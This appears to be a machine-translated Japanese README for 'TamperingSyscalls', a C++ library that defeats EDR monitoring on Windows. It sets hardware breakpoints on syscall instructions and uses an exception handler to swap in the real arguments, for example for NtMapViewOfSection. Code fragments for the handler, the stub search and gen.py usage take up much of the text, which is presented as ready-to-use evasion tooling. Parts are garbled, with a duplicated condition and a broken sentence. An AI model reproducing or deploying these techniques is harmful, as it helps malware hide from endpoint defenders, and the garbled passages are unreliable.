
C++ライブラリ。ハードウェアブレークポイントと例外ハンドラを使用してWindowsシステムコールの引数を取得・スプーフィングし、EDRテレメトリを迂回します。
TamperingSyscalls は、引数スプーフィングとシステムコール取得の 2 つのパートからなる斬新なプロジェクトで、どちらも EH を悪用して EDR を回避します。このプロジェクトは、直接システムコールに代わるソリューションを提供するために、これらの両方のプロジェクトで構成されています。
システムコールの改ざん。
SetUnhandledExceptionFilter( OneShotHardwareBreakpointHandler );
0f05 というバイト列を持つシステムコール命令のアドレスに、Dr0 レジスタを使用してハードウェアブレークポイントを設定します。
システムコールスタブのアドレスは、この簡単なメモリバイト検索で見つけることができます。BYTE stub[] = { 0x0F, 0x05 };
for( unsigned int i = 0; i < (unsigned int)25; i++ )
{
if( memcmp( (LPVOID)((DWORD_PTR)function + i), stub, 2 ) == 0 ) {
return (LPVOID)((DWORD_PTR)function + i);
}
}
if( ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP )
if( ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP )
{
if( ExceptionInfo->ContextRecord->Dr7 & 1 ) {
if( ExceptionInfo->ContextRecord->Rip == ExceptionInfo->ContextRecord->Dr0 ) {
ExceptionInfo->ContextRecord->Dr0 = 0;
mov r10, rcx が実行されるためです。RCX レジスタは次の命令で破壊されるからです。case NTMAPVIEWOFSECTION_ENUM:
ExceptionInfo->ContextRecord->R10 =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].arguments))->SectionHandle;
ExceptionInfo->ContextRecord->Rdx =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].arguments))->ProcessHandle;
ExceptionInfo->ContextRecord->R8 =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].arguments))->BaseAddress;
ExceptionInfo->ContextRecord->R9 =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].arguments))->ZeroBits;
この例では、NtMapViewOfSection の引数を修正していることがわかります。
EDR テレメトリの偽装を始めたい場合は、現在 NULL に設定されている p[FunctionName] の定義を変更することが可能です。
必要な関数を生成するには、gen.py を使用します。これは次のいずれかをサポートしています:
python gen.py NtOpenSection,NtMapViewOfSection,NtUnmapViewOfSection
3 つのファイル(TamperingSyscalls.cpp、TamperingSyscalls.h、main.cpp)が生成されます。プロジェクトに #include "TamperingSyscalls.h" を組み込むことができます。関数名の前に p を付けることで関数を呼び出せます。例:pNtOpenSection(...);
NtSetThreadContext またはその亜種にはブレークポイントを設定できません。これはデバッグレジスタを設定するために使用されるためです。 デバッグレジスタが設定される短い期間がありますが、これは非常に短く、Dr0 を開いたまま保持することで検出されることはないと思います。
これらのテクニックに触れた短いブログ記事を公開しました。